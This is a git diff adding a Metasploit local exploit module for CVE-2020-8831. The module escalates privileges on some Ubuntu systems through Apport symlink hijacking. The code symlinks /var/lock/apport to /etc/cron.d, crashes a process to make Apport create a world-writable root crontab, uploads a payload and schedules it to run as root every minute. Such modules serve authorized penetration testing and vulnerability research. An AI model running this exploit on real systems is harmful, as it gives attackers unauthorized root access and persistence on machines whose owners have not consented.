diff --git a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb new file mode 100644 index 0000000000000..9d83dcd330bfe --- /dev/null +++ b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb @@ -0,0 +1,169 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = NormalRanking + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Post::Linux::System + include Msf::Post::Linux::Kernel + include Msf::Post::File + include Msf::Exploit::EXE + + def initialize(info = {}) + # other places besides crontab + # /etc/init.d + # ~/.bashrc + super( + update_info( + info, + 'Name' => 'Apport Symlink Hijacking Privilege Escalation ', + 'Description' => %q{ + On some Ubuntu releases such as Xenial Xerus 16.04.7 the Apport 2.20 crash handler is vulnerable + to symlink hijacking. Following a crash Apport will write reports to /var/lock/apport/lock, + an attacker who can create a symlink to a privileged directory via /var/lock/apport will be + able to create files with global 0777 permissions. This module exploits this weakness by creating a + symbolic link to /etc/cron.d/ in order to write a system crontab that will execute a payload with + elevated permissions. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Maximilien Bourgeteau', # Discovery + 'gardnerapp' # Metasploit + ], + 'References' => [ + [ + ['URL', 'https://nostarch.com/zero-day'], # pg. 59 + ['URL', 'https://ubuntu.com/security/CVE-2020-8831'], + ['URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1862348'], + ['CVE', '2020-8831'], + ] + ], + 'Platform' => ['linux'], + 'SessionTypes' => ['shell', 'meterpreter'], + 'Targets' => [ + [ + 'Linux_Binary', + { + 'Arch' => [ARCH_AARCH64, ARCH_X64] + } + ], + [ + 'Linux_Command', + { + 'Arch' => ARCH_CMD + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => '2 April 2020', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] + } + ) + ) + register_options [ + OptString.new('PAYLOAD_FILENAME', [true, 'Name of payload', Rex::Text.rand_text_alpha(8..12)]), + OptString.new('CRON_INTERVAL', [true, 'Specify how often the Cron should run. Default is every minute.', '* * * * *']) + ] + register_advanced_options [ + OptString.new('WRITABLE_DIR', [true, 'A directory where we can write files', '/tmp']) + ] + end + + def check + # If you are testing the module apport needs to be reinstalled on boot every time with + # sudo dpkg -i apport_2.20.11-0ubuntu21_all.deb + # sudo rm -rf /var/lock/apport/ /tmp/payload /etc/cron.d/lock && unlink /var/lock/apport -> must be run after each subsequent test! + return CheckCode::Safe('Platform is not Linux') unless session.platform == 'linux' + + # Check apport version + if !command_exists?('apport-cli') + return CheckCode::Safe('apport-cli does not appear to be installed or in the $PATH') + end + + apport = cmd_exec('apport-cli --version').to_s + + return CheckCode::Detected('Unable to determine apport version') if apport.blank? + + # todo determine if prior versions of apport are vulnerable + apport_version = Rex::Version.new(apport.split('-').first) + + vulnerable_version = Rex::Version.new('2.20.11') + + if apport_version == vulnerable_version + vprint_good("Apport appears to be vulnerable.") + return CheckCode::Appears + end + + CheckCode::Safe + end + + # Crash Apport and hijack a symlink + # this will creat a rwx /etc/cron.d/lock owned by root + def hijack_apport + + print_status("Creating symlink...") + + if exists? '/var/lock/apport' + fail_with(Failure::BadConfig, '/var/lock/apport already exists. Try removing this directory then running the module again. ') + end + + link = cmd_exec ('ln -s /etc/cron.d /var/lock/apport') + print_status(link) + + # Create crash and trigger apport + print_status("Triggering crash...") + cmd_exec 'sleep 10s & kill -11 $!' + + @cron = '/etc/cron.d/lock' + + # Make sure it's writable and owned by root + unless exist?(@cron) + fail_with(Failure::NotFound, 'Exploit was unable to create a crontab owned by root.') + else + print_good("Successfully created /etc/cron.d/lock") + end + end + + def write_payload + print_status 'Uploading payload..' + + payload_dir = datastore['WRITABLE_DIR'] + + payload_dir += '/' unless payload_dir.ends_with? '/' + + payload_file = datastore['PAYLOAD_FILENAME'] + + @payload_dest = "#{payload_dir}#{payload_file}" + + # create the payload + if target.arch.first == ARCH_CMD + upload_and_chmodx @payload_dest, payload.encoded + else + upload_and_chmodx @payload_dest, generate_payload_exe + end + end + + def write_cron + cron_interval = datastore['CRON_INTERVAL'] + data = "#{cron_interval} root #{@payload_dest}\n" + write_file(@cron, data) + # crontab won't execute as root if group/other is writable + print_good "Successfully wrote crontab!" + end + + def exploit + fail_with(Failure::BadConfig, "#{datastore['WRITABLE_DIR']} is not writable") unless writable?(datastore['WRITABLE_DIR']) + hijack_apport + + write_payload + + write_cron + end +end